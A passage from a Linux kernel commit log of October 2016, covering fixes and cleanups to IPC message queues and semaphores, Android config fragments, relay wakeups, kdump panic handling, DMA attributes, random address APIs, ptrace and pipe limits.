long time and it doesn't have a scheduling point in it. Since the codes is executing under an rcu read section this may also cause rcu stalls, which in turn block synchronize_rcu operations, which more or less de-stabilises the whole system. Fix this by introducing a cond_resched() at the beginning of the loop. So this patch fixes the following: NMI watchdog: BUG: soft lockup - CPU#10 stuck for 23s! [httpd:18119] CPU: 10 PID: 18119 Comm: httpd Tainted: G O 4.4.20-clouder2 #6 Hardware name: Supermicro X10DRi/X10DRi, BIOS 1.1 04/14/2015 task: ffff88348d695280 ti: ffff881c95550000 task.ti: ffff881c95550000 RIP: 0010:[] [] _raw_spin_lock+0x17/0x30 RSP: 0018:ffff881c95553e40 EFLAGS: 00000246 RAX: 0000000000000000 RBX: ffff883161b1eea8 RCX: 000000000000000d RDX: 0000000000000001 RSI: 000000000000000e RDI: ffff883161b1eea4 RBP: ffff881c95553ea0 R08: ffff881c95553e68 R09: ffff883fef376f88 R10: ffff881fffb58c20 R11: ffffea0072556600 R12: ffff883161b1eea0 R13: ffff88348d695280 R14: ffff883dec427000 R15: ffff8831621672a0 FS: 0000000000000000(0000) GS:ffff881fffb40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f3b3723e020 CR3: 0000000001c0a000 CR4: 00000000001406e0 Call Trace: ? exit_sem+0x7c/0x280 do_exit+0x338/0xb40 do_group_exit+0x43/0xd0 SyS_exit_group+0x14/0x20 entry_SYSCALL_64_fastpath+0x16/0x6e Link: http://lkml.kernel.org/r/1475154992-6363-1-git-send-email-kernel@kyup.com Signed-off-by: Nikolay Borisov Cc: Herton R. Krzesinski Cc: Fabian Frederick Cc: Davidlohr Bueso Cc: Manfred Spraul Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds ipc/sem.c | 2 ++ 1 file changed, 2 insertions(+) commit ed27f9122c541a1720898739ac55f824f820b7ff Author: Davidlohr Bueso Date: Tue Oct 11 13:55:02 2016 -0700 ipc/msg: avoid waking sender upon full queue Blocked tasks queued in q_senders waiting for their message to fit in the queue are blindly awoken every time we think there's a remote chance this might happen. This could cause numerous (and expensive -- thundering herd-ish) bogus wakeups if the queue is still really full. Adding to the scheduling cost/overhead, there's also the fact that we need to take the ipc object lock and requeue ourselves in the q_senders list. By keeping track of the blocked sender's message size, we can know previously if the wakeup ought to occur or not. Otherwise, to maintain the current wakeup order we just move it to the tail. This is exactly what occurs right now if the sender needs to go back to sleep. The case of EIDRM is left completely untouched, as we need to wakeup all the tasks, and shouldn't be playing games in the first place. This patch was seen to save on the 'msgctl10' ltp testcase ~15% in context switches (avg out of ten runs). Although these tests are really about functionality (as opposed to performance), is does show the direct benefits of the optimization. [akpm@linux-foundation.org: coding-style fixes] Link: http://lkml.kernel.org/r/1469748819-19484-6-git-send-email-dave@stgolabs.net Signed-off-by: Davidlohr Bueso Acked-by: Peter Zijlstra (Intel) Cc: Manfred Spraul Cc: Sebastian Andrzej Siewior Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds ipc/msg.c | 53 +++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 43 insertions(+), 10 deletions(-) commit d0d6a2a95e80e63827ea1ca184754a990438c072 Author: Davidlohr Bueso Date: Tue Oct 11 13:54:59 2016 -0700 ipc/msg: make ss_wakeup() kill arg boolean ... 'tis annoying. Link: http://lkml.kernel.org/r/1469748819-19484-4-git-send-email-dave@stgolabs.net Signed-off-by: Davidlohr Bueso Acked-by: Peter Zijlstra (Intel) Cc: Manfred Spraul Cc: Sebastian Andrzej Siewior Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds ipc/msg.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit e3658538bf3727383b4e563fbab83c04d615508a Author: Davidlohr Bueso Date: Tue Oct 11 13:54:56 2016 -0700 ipc/msg: batch queue sender wakeups Currently the use of wake_qs in sysv msg queues are only for the receiver tasks that are blocked on the queue. But blocked sender tasks (due to queue size constraints) still are awoken with the ipc object lock held, which can be a problem particularly for small sized queues and far from gracious for -rt (just like it was for the receiver side). The paths that actually wakeup a sender are obviously related to when we are either getting rid of the queue or after (some) space is freed-up after a receiver takes the msg (msgrcv). Furthermore, with the exception of msgrcv, we can always piggy-back on expunge_all that has its own tasks lined-up for waking. Finally, upon unlinking the message, it should be no problem delaying the wakeups a bit until after we've released the lock. Link: http://lkml.kernel.org/r/1469748819-19484-3-git-send-email-dave@stgolabs.net Signed-off-by: Davidlohr Bueso Acked-by: Peter Zijlstra (Intel) Cc: Manfred Spraul Cc: Sebastian Andrzej Siewior Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds ipc/msg.c | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) commit ee51636ca54f9d4d01ae49b1740742e9db54d868 Author: Sebastian Andrzej Siewior Date: Tue Oct 11 13:54:53 2016 -0700 ipc/msg: implement lockless pipelined wakeups This patch moves the wakeup_process() invocation so it is not done under the ipc global lock by making use of a lockless wake_q. With this change, the waiter is woken up once the message has been assigned and it does not need to loop on SMP if the message points to NULL. In the signal case we still need to check the pointer under the lock to verify the state. This change should also avoid the introduction of preempt_disable() in -RT which avoids a busy-loop which pools for the NULL -> !NULL change if the waiter has a higher priority compared to the waker. By making use of wake_qs, the logic of sysv msg queues is greatly simplified (and very well suited as we can batch lockless wakeups), particularly around the lockless receive algorithm. This has been tested with Manred's pmsg-shared tool on a "AMD A10-7800 Radeon R7, 12 Compute Cores 4C+8G": test | before | after | diff -----------------|------------|------------|---------- pmsg-shared 8 60 | 19,347,422 | 30,442,191 | + ~57.34 % pmsg-shared 4 60 | 21,367,197 | 35,743,458 | + ~67.28 % pmsg-shared 2 60 | 22,884,224 | 24,278,200 | + ~6.09 % Link: http://lkml.kernel.org/r/1469748819-19484-2-git-send-email-dave@stgolabs.net Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Davidlohr Bueso Acked-by: Peter Zijlstra (Intel) Cc: Manfred Spraul Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds ipc/msg.c | 133 +++++++++++++++++++------------------------------------------- 1 file changed, 40 insertions(+), 93 deletions(-) commit 5864a2fd3088db73d47942370d0f7210a807b9bc Author: Manfred Spraul Date: Tue Oct 11 13:54:50 2016 -0700 ipc/sem.c: fix complex_count vs. simple op race Commit 6d07b68ce16a ("ipc/sem.c: optimize sem_lock()") introduced a race: sem_lock has a fast path that allows parallel simple operations. There are two reasons why a simple operation cannot run in parallel: - a non-simple operations is ongoing (sma->sem_perm.lock held) - a complex operation is sleeping (sma->complex_count != 0) As both facts are stored independently, a thread can bypass the current checks by sleeping in the right positions. See below for more details (or kernel bugzilla 105651). The patch fixes that by creating one variable (complex_mode) that tracks both reasons why parallel operations are not possible. The patch also updates stale documentation regarding the locking. With regards to stable kernels: The patch is required for all kernels that include the commit 6d07b68ce16a ("ipc/sem.c: optimize sem_lock()") (3.10?) The alternative is to revert the patch that introduced the race. The patch is safe for backporting, i.e. it makes no assumptions about memory barriers in spin_unlock_wait(). Background: Here is the race of the current implementation: Thread A: (simple op) - does the first "sma->complex_count == 0" test Thread B: (complex op) - does sem_lock(): This includes an array scan. But the scan can't find Thread A, because Thread A does not own sem->lock yet. - the thread does the operation, increases complex_count, drops sem_lock, sleeps Thread A: - spin_lock(&sem->lock), spin_is_locked(sma->sem_perm.lock) - sleeps before the complex_count test Thread C: (complex op) - does sem_lock (no array scan, complex_count==1) - wakes up Thread B. - decrements complex_count Thread A: - does the complex_count test Bug: Now both thread A and thread C operate on the same array, without any synchronization. Fixes: 6d07b68ce16a ("ipc/sem.c: optimize sem_lock()") Link: http://lkml.kernel.org/r/1469123695-5661-1-git-send-email-manfred@colorfullife.com Reported-by: Cc: "H. Peter Anvin" Cc: Peter Zijlstra Cc: Davidlohr Bueso Cc: Thomas Gleixner Cc: Ingo Molnar Cc: <1vier1@web.de> Cc: [3.10+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/sem.h | 1 + ipc/sem.c | 138 +++++++++++++++++++++++++++++++--------------------- 2 files changed, 84 insertions(+), 55 deletions(-) commit 65deb8af76defeae4b114a75242ed15b0bcba173 Author: Alexander Potapenko Date: Tue Oct 11 13:54:47 2016 -0700 kcov: do not instrument lib/stackdepot.c There's no point in collecting coverage from lib/stackdepot.c, as it is not a function of syscall inputs. Disabling kcov instrumentation for that file will reduce the coverage noise level. Link: http://lkml.kernel.org/r/1474640972-104131-1-git-send-email-glider@google.com Signed-off-by: Alexander Potapenko Acked-by: Dmitry Vyukov Cc: Kostya Serebryany Cc: Andrey Konovalov Cc: syzkaller Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/Makefile | 1 + 1 file changed, 1 insertion(+) commit 2489a1771aae86062c637f0eb7a06129681208b1 Author: Rob Herring Date: Tue Oct 11 13:54:44 2016 -0700 config: android: enable CONFIG_SECCOMP As of Android N, SECCOMP is required. Without it, we will get mediaextractor error: E /system/bin/mediaextractor: libminijail: prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER): Invalid argument Link: http://lkml.kernel.org/r/20160908185934.18098-3-robh@kernel.org Signed-off-by: Rob Herring Acked-by: John Stultz Cc: Amit Pundir Cc: Dmitry Shmidt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/configs/android-base.config | 1 + 1 file changed, 1 insertion(+) commit d90ae51a3e7556c9f50431db43cd8190934ccf94 Author: Rob Herring Date: Tue Oct 11 13:54:41 2016 -0700 config: android: set SELinux as default security mode Android won't boot without SELinux enabled, so make it the default. Link: http://lkml.kernel.org/r/20160908185934.18098-2-robh@kernel.org Signed-off-by: Rob Herring Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/configs/android-base.config | 1 + 1 file changed, 1 insertion(+) commit f023a3956f273859ed36f624f75a66c272124b16 Author: Rob Herring Date: Tue Oct 11 13:54:38 2016 -0700 config: android: move device mapper options to recommended CONFIG_MD is in recommended, but other dependent options like DM_CRYPT and DM_VERITY options are in base. The result is the options in base don't get enabled when applying both base and recommended fragments. Move all the options to recommended. Link: http://lkml.kernel.org/r/20160908185934.18098-1-robh@kernel.org Signed-off-by: Rob Herring Acked-by: John Stultz Cc: Amit Pundir Cc: Dmitry Shmidt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/configs/android-base.config | 4 ---- kernel/configs/android-recommended.config | 4 ++++ 2 files changed, 4 insertions(+), 4 deletions(-) commit a2c6a235dbf4318fc7f7981932478e6c47f093ab Author: Borislav Petkov Date: Tue Oct 11 13:54:36 2016 -0700 config/android: Remove CONFIG_IPV6_PRIVACY Option is long gone, see commit 5d9efa7ee99e ("ipv6: Remove privacy config option.") Link: http://lkml.kernel.org/r/20160811170340.9859-1-bp@alien8.de Signed-off-by: Borislav Petkov Cc: Rob Herring Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/configs/android-base.config | 1 - 1 file changed, 1 deletion(-) commit 26b5679e437ef4f83db66437981c7c0d569973b1 Author: Peter Zijlstra Date: Tue Oct 11 13:54:33 2016 -0700 relay: Use irq_work instead of plain timer for deferred wakeup Relay avoids calling wake_up_interruptible() for doing the wakeup of readers/consumers, waiting for the generation of new data, from the context of a process which produced the data. This is apparently done to prevent the possibility of a deadlock in case Scheduler itself is is generating data for the relay, after acquiring rq->lock. The following patch used a timer (to be scheduled at next jiffy), for delegating the wakeup to another context. commit 7c9cb38302e78d24e37f7d8a2ea7eed4ae5f2fa7 Author: Tom Zanussi Date: Wed May 9 02:34:01 2007 -0700 relay: use plain timer instead of delayed work relay doesn't need to use schedule_delayed_work() for waking readers when a simple timer will do. Scheduling a plain timer, at next jiffies boundary, to do the wakeup causes a significant wakeup latency for the Userspace client, which makes relay less suitable for the high-frequency low-payload use cases where the data gets generated at a very high rate, like multiple sub buffers getting filled within a milli second. Moreover the timer is re-scheduled on every newly produced sub buffer so the timer keeps getting pushed out if sub buffers are filled in a very quick succession (less than a jiffy gap between filling of 2 sub buffers). As a result relay runs out of sub buffers to store the new data. By using irq_work it is ensured that wakeup of userspace client, blocked in the poll call, is done at earliest (through self IPI or next timer tick) enabling it to always consume the data in time. Also this makes relay consistent with printk & ring buffers (trace), as they too use irq_work for deferred wake up of readers. [arnd@arndb.de: select CONFIG_IRQ_WORK] Link: http://lkml.kernel.org/r/20160912154035.3222156-1-arnd@arndb.de [akpm@linux-foundation.org: coding-style fixes] Link: http://lkml.kernel.org/r/1472906487-1559-1-git-send-email-akash.goel@intel.com Signed-off-by: Peter Zijlstra Signed-off-by: Akash Goel Cc: Tom Zanussi Cc: Chris Wilson Cc: Tvrtko Ursulin Signed-off-by: Arnd Bergmann Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/relay.h | 3 ++- init/Kconfig | 1 + kernel/relay.c | 24 ++++++++++++++---------- 3 files changed, 17 insertions(+), 11 deletions(-) commit ab47deb6bb03ddf1c1e253bfbbdbf5f867975ca5 Author: Maciej S. Szmigiero Date: Tue Oct 11 13:54:30 2016 -0700 pps: kc: fix non-tickless system config dependency CONFIG_NO_HZ currently only sets the default value of dynticks config so if PPS kernel consumer needs periodic timer ticks it should depend on !CONFIG_NO_HZ_COMMON instead of !CONFIG_NO_HZ. Otherwise it is possible to enable it even on tickless system which has CONFIG_NO_HZ not set and CONFIG_NO_HZ_IDLE (or CONFIG_NO_HZ_FULL) set. Link: http://lkml.kernel.org/r/57E2B769.50202@maciej.szmigiero.name Signed-off-by: Maciej S. Szmigiero Acked-by: Rodolfo Giometti Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/pps/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 54c721b857fd45f3ad3bda695ee4f472518db02a Author: Hidehiro Kawai Date: Tue Oct 11 13:54:26 2016 -0700 mips/panic: replace smp_send_stop() with kdump friendly version in panic path Daniel Walker reported problems which happens when crash_kexec_post_notifiers kernel option is enabled (https://lkml.org/lkml/2015/6/24/44). In that case, smp_send_stop() is called before entering kdump routines which assume other CPUs are still online. As the result, kdump routines fail to save other CPUs' registers. Additionally for MIPS OCTEON, it misses to stop the watchdog timer. To fix this problem, call a new kdump friendly function, crash_smp_send_stop(), instead of the smp_send_stop() when crash_kexec_post_notifiers is enabled. crash_smp_send_stop() is a weak function, and it just call smp_send_stop(). Architecture codes should override it so that kdump can work appropriately. This patch provides MIPS version. Fixes: f06e5153f4ae (kernel/panic.c: add "crash_kexec_post_notifiers" option) Link: http://lkml.kernel.org/r/20160810080950.11028.28000.stgit@sysi4-13.yrl.intra.hitachi.co.jp Signed-off-by: Hidehiro Kawai Reported-by: Daniel Walker Cc: Dave Young Cc: Baoquan He Cc: Vivek Goyal Cc: Eric Biederman Cc: Masami Hiramatsu Cc: Daniel Walker Cc: Xunlei Pang Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: Borislav Petkov Cc: David Vrabel Cc: Toshi Kani Cc: Ralf Baechle Cc: David Daney Cc: Aaro Koskinen Cc: "Steven J. Hill" Cc: Corey Minyard Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/mips/cavium-octeon/setup.c | 14 ++++++++++++++ arch/mips/include/asm/kexec.h | 1 + arch/mips/kernel/crash.c | 18 +++++++++++++++++- arch/mips/kernel/machine_kexec.c | 1 + 4 files changed, 33 insertions(+), 1 deletion(-) commit 0ee59413c967c35a6dd2dbdab605b4cd42025ee5 Author: Hidehiro Kawai Date: Tue Oct 11 13:54:23 2016 -0700 x86/panic: replace smp_send_stop() with kdump friendly version in panic path Daniel Walker reported problems which happens when crash_kexec_post_notifiers kernel option is enabled (https://lkml.org/lkml/2015/6/24/44). In that case, smp_send_stop() is called before entering kdump routines which assume other CPUs are still online. As the result, for x86, kdump routines fail to save other CPUs' registers and disable virtualization extensions. To fix this problem, call a new kdump friendly function, crash_smp_send_stop(), instead of the smp_send_stop() when crash_kexec_post_notifiers is enabled. crash_smp_send_stop() is a weak function, and it just call smp_send_stop(). Architecture codes should override it so that kdump can work appropriately. This patch only provides x86-specific version. For Xen's PV kernel, just keep the current behavior. NOTES: - Right solution would be to place crash_smp_send_stop() before __crash_kexec() invocation in all cases and remove smp_send_stop(), but we can't do that until all architectures implement own crash_smp_send_stop() - crash_smp_send_stop()-like work is still needed by machine_crash_shutdown() because crash_kexec() can be called without entering panic() Fixes: f06e5153f4ae (kernel/panic.c: add "crash_kexec_post_notifiers" option) Link: http://lkml.kernel.org/r/20160810080948.11028.15344.stgit@sysi4-13.yrl.intra.hitachi.co.jp Signed-off-by: Hidehiro Kawai Reported-by: Daniel Walker Cc: Dave Young Cc: Baoquan He Cc: Vivek Goyal Cc: Eric Biederman Cc: Masami Hiramatsu Cc: Daniel Walker Cc: Xunlei Pang Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: Borislav Petkov Cc: David Vrabel Cc: Toshi Kani Cc: Ralf Baechle Cc: David Daney Cc: Aaro Koskinen Cc: "Steven J. Hill" Cc: Corey Minyard Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/x86/include/asm/kexec.h | 1 + arch/x86/include/asm/smp.h | 1 + arch/x86/kernel/crash.c | 22 ++++++++++++++++++--- arch/x86/kernel/smp.c | 5 +++++ kernel/panic.c | 47 +++++++++++++++++++++++++++++++++++++------- 5 files changed, 66 insertions(+), 10 deletions(-) commit 2b6b535d9158b822a45080b3d6d5b2993fd49e5a Author: Mauricio Faria de Oliveira Date: Tue Oct 11 13:54:20 2016 -0700 nvme: use the DMA_ATTR_NO_WARN attribute Use the DMA_ATTR_NO_WARN attribute for the dma_map_sg() call of the nvme driver that returns BLK_MQ_RQ_QUEUE_BUSY (not for BLK_MQ_RQ_QUEUE_ERROR). Link: http://lkml.kernel.org/r/1470092390-25451-4-git-send-email-mauricfo@linux.vnet.ibm.com Signed-off-by: Mauricio Faria de Oliveira Reviewed-by: Gabriel Krisman Bertazi Cc: Keith Busch Cc: Jens Axboe Cc: Benjamin Herrenschmidt Cc: Michael Ellerman Cc: Krzysztof Kozlowski Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/nvme/host/pci.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit af8a24988e48f9ed20acf4d5230ac216d5baf723 Author: Mauricio Faria de Oliveira Date: Tue Oct 11 13:54:17 2016 -0700 powerpc: implement the DMA_ATTR_NO_WARN attribute Add support for the DMA_ATTR_NO_WARN attribute on powerpc iommu code. Link: http://lkml.kernel.org/r/1470092390-25451-3-git-send-email-mauricfo@linux.vnet.ibm.com Signed-off-by: Mauricio Faria de Oliveira Acked-by: Michael Ellerman Cc: Keith Busch Cc: Jens Axboe Cc: Benjamin Herrenschmidt Cc: Krzysztof Kozlowski Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/powerpc/kernel/iommu.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit a9a62c9384417545620aee1b5ad1d9357350c17a Author: Mauricio Faria de Oliveira Date: Tue Oct 11 13:54:14 2016 -0700 dma-mapping: introduce the DMA_ATTR_NO_WARN attribute Introduce the DMA_ATTR_NO_WARN attribute, and document it. Link: http://lkml.kernel.org/r/1470092390-25451-2-git-send-email-mauricfo@linux.vnet.ibm.com Signed-off-by: Mauricio Faria de Oliveira Cc: Keith Busch Cc: Jens Axboe Cc: Benjamin Herrenschmidt Cc: Michael Ellerman Cc: Krzysztof Kozlowski Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/DMA-attributes.txt | 17 +++++++++++++++++ include/linux/dma-mapping.h | 5 +++++ 2 files changed, 22 insertions(+) commit 7425154d3bbf5fcc7554738cab6dfac559ffbdda Author: Jason Cooper Date: Tue Oct 11 13:54:11 2016 -0700 random: remove unused randomize_range() All call sites for randomize_range have been updated to use the much simpler and more robust randomize_addr(). Remove the now unnecessary code. Link: http://lkml.kernel.org/r/20160803233913.32511-8-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Kees Cook Cc: "Theodore Ts'o" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/char/random.c | 19 ------------------- include/linux/random.h | 1 - 2 files changed, 20 deletions(-) commit 05c2679e9562f7e9ca11dacc91cf21b6c42d532d Author: Jason Cooper Date: Tue Oct 11 13:54:08 2016 -0700 unicore32: use simpler API for random address requests Currently, all callers to randomize_range() set the length to 0 and calculate end by adding a constant to the start address. We can simplify the API to remove a bunch of needless checks and variables. Use the new randomize_addr(start, range) call to set the requested address. Link: http://lkml.kernel.org/r/20160803233913.32511-7-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Kees Cook Cc: "Theodore Ts'o" Cc: Guan Xuetao Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/unicore32/kernel/process.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 09fddbaf90aa9fc0abd80332a191fbfd0158e22b Author: Jason Cooper Date: Tue Oct 11 13:54:05 2016 -0700 tile: use simpler API for random address requests Currently, all callers to randomize_range() set the length to 0 and calculate end by adding a constant to the start address. We can simplify the API to remove a bunch of needless checks and variables. Use the new randomize_addr(start, range) call to set the requested address. Link: http://lkml.kernel.org/r/20160803233913.32511-6-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Kees Cook Cc: "Theodore Ts'o" Cc: Chris Metcalf Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/tile/mm/mmap.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit fa5114c78c596e977af04865b697b7fcb092a0fb Author: Jason Cooper Date: Tue Oct 11 13:54:02 2016 -0700 arm64: use simpler API for random address requests Currently, all callers to randomize_range() set the length to 0 and calculate end by adding a constant to the start address. We can simplify the API to remove a bunch of needless checks and variables. Use the new randomize_addr(start, range) call to set the requested address. Link: http://lkml.kernel.org/r/20160803233913.32511-5-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Will Deacon Acked-by: Kees Cook Cc: "Russell King - ARM Linux" Cc: Catalin Marinas Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/arm64/kernel/process.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit c984cbf2e34cd622b5531f776029f7b23ff17e50 Author: Jason Cooper Date: Tue Oct 11 13:53:59 2016 -0700 ARM: use simpler API for random address requests Currently, all callers to randomize_range() set the length to 0 and calculate end by adding a constant to the start address. We can simplify the API to remove a bunch of needless checks and variables. Use the new randomize_addr(start, range) call to set the requested address. Link: http://lkml.kernel.org/r/20160803233913.32511-4-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Kees Cook Cc: "Russell King - ARM Linux" Cc: "Theodore Ts'o" Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/arm/kernel/process.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 9c6f0902a55226b08b9703408f04b258b9afa0bc Author: Jason Cooper Date: Tue Oct 11 13:53:56 2016 -0700 x86: use simpler API for random address requests Currently, all callers to randomize_range() set the length to 0 and calculate end by adding a constant to the start address. We can simplify the API to remove a bunch of needless checks and variables. Use the new randomize_addr(start, range) call to set the requested address. Link: http://lkml.kernel.org/r/20160803233913.32511-3-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Kees Cook Cc: "Theodore Ts'o" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H . Peter Anvin" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/x86/kernel/process.c | 3 +-- arch/x86/kernel/sys_x86_64.c | 5 +---- 2 files changed, 2 insertions(+), 6 deletions(-) commit 99fdafdeacfa99ca9047641b684fa2aaf094a661 Author: Jason Cooper Date: Tue Oct 11 13:53:52 2016 -0700 random: simplify API for random address requests To date, all callers of randomize_range() have set the length to 0, and check for a zero return value. For the current callers, the only way to get zero returned is if end <= start. Since they are all adding a constant to the start address, this is unnecessary. We can remove a bunch of needless checks by simplifying the API to do just what everyone wants, return an address between [start, start + range). While we're here, s/get_random_int/get_random_long/. No current call site is adversely affected by get_random_int(), since all current range requests are < UINT_MAX. However, we should match caller expectations to avoid coming up short (ha!) in the future. All current callers to randomize_range() chose to use the start address if randomize_range() failed. Therefore, we simplify things by just returning the start address on error. randomize_range() will be removed once all callers have been converted over to randomize_addr(). Link: http://lkml.kernel.org/r/20160803233913.32511-2-jason@lakedaemon.net Signed-off-by: Jason Cooper Acked-by: Kees Cook Cc: Michael Ellerman Cc: "Roberts, William C" Cc: Yann Droneaud Cc: Russell King Cc: "Theodore Ts'o" Cc: Arnd Bergmann Cc: Greg Kroah-Hartman Cc: Catalin Marinas Cc: Will Deacon Cc: Ralf Baechle Cc: Benjamin Herrenschmidt Cc: Paul Mackerras Cc: "David S. Miller" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H . Peter Anvin" Cc: Nick Kralevich Cc: Jeffrey Vander Stoep Cc: Daniel Cashman Cc: Chris Metcalf Cc: Guan Xuetao Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/char/random.c | 33 +++++++++++++++++++++++++++++++++ include/linux/random.h | 1 + 2 files changed, 34 insertions(+) commit 7836a2d9803c6203d2922e7116307c9f0dfe87f9 Author: Alexandre Bounine Date: Tue Oct 11 13:53:49 2016 -0700 rapidio/rio_cm: use memdup_user() instead of duplicating code Fix coccinelle warning about duplicating existing memdup_user function. Link: http://lkml.kernel.org/r/20160811151737.20140-1-alexandre.bounine@idt.com Link: https://lkml.org/lkml/2016/8/11/29 Signed-off-by: Alexandre Bounine Reported-by: kbuild test robot Cc: Matt Porter Cc: Andre van Herk Cc: Barry Wood Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/rapidio/rio_cm.c | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) commit 0a5bf409d3eefc1ca64cedf0bc1c0673164cacc1 Author: Ales Novak Date: Tue Oct 11 13:53:46 2016 -0700 ptrace: clear TIF_SYSCALL_TRACE on ptrace detach On __ptrace_detach(), called from do_exit()->exit_notify()-> forget_original_parent()->exit_ptrace(), the TIF_SYSCALL_TRACE in thread->flags of the tracee is not cleared up. This results in the tracehook_report_syscall_* being called (though there's no longer a tracer listening to that) upon its further syscalls. Example scenario - attach "strace" to a running process and kill it (the strace) with SIGKILL. You'll see that the syscall trace hooks are still being called. The clearing of this flag should be moved from ptrace_detach() to __ptrace_detach(). Link: http://lkml.kernel.org/r/1472759493-20554-1-git-send-email-alnovak@suse.cz Signed-off-by: Ales Novak Acked-by: Oleg Nesterov Cc: Jiri Kosina Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/ptrace.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 086e774a57fba4695f14383c0818994c0b31da7c Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:43 2016 -0700 pipe: cap initial pipe capacity according to pipe-max-size limit This is a patch that provides behavior that is more consistent, and probably less surprising to users. I consider the change optional, and welcome opinions about whether it should be applied. By default, pipes are created with a capacity of 64 kiB. However, /proc/sys/fs/pipe-max-size may be set smaller than this value. In this scenario, an unprivileged user could thus create a pipe whose initial capacity exceeds the limit. Therefore, it seems logical to cap the initial pipe capacity according to the value of pipe-max-size. The test program shown earlier in this patch series can be used to demonstrate the effect of the change brought about with this patch: # cat /proc/sys/fs/pipe-max-size 1048576 # sudo -u mtk ./test_F_SETPIPE_SZ 1 Initial pipe capacity: 65536 # echo 10000 > /proc/sys/fs/pipe-max-size # cat /proc/sys/fs/pipe-max-size 16384 # sudo -u mtk ./test_F_SETPIPE_SZ 1 Initial pipe capacity: 16384 # ./test_F_SETPIPE_SZ 1 Initial pipe capacity: 65536 The last two executions of 'test_F_SETPIPE_SZ' show that pipe-max-size caps the initial allocation for a new pipe for unprivileged users, but not for privileged users. Link: http://lkml.kernel.org/r/31dc7064-2a17-9c5b-1df1-4e3012ee992c@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 3 +++ 1 file changed, 3 insertions(+) commit 9c87bcf0a31b338dc8a69a5d251a037565a94e13 Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:40 2016 -0700 pipe: make account_pipe_buffers() return a value, and use it This is an optional patch, to provide a small performance improvement. Alter account_pipe_buffers() so that it returns the new value in user->pipe_bufs. This means that we can refactor too_many_pipe_buffers_soft() and too_many_pipe_buffers_hard() to avoid the costs of repeated use of atomic_long_read() to get the value user->pipe_bufs. Link: http://lkml.kernel.org/r/93e5f193-1e5e-3e1f-3a20-eae79b7e1310@gmail.com Signed-off-by: Michael Kerrisk Reviewed-by: Vegard Nossum Cc: Willy Tarreau Cc: Cc: Tetsuo Handa Cc: Jens Axboe Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/pipe.c | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit a005ca0e6813e1d796a7422a7e31d8b8d6555df1 Author: Michael Kerrisk (man-pages) Date: Tue Oct 11 13:53:37 2016 -0700 pipe: fix limit checking in alloc_pipe_info() The limit checking in alloc_pipe_info() (used by pipe(2) and when opening a FIFO) has the following problems: (1) When checking capacity required for the new pipe, the checks against the limit in /proc/sys/fs/pipe-user-pages-{soft,hard} are made against existing consumption, and exclude the memory required for the new pipe capacity. As a consequence: (1) the memory allocation throttling provided by the soft limit does not kick in quite as early as it should, and (2) the user can overrun the hard limit. (2) As currently implemented, accounting and checking against the limits is done as follows: (a) Test whether the user has exceeded the limit. 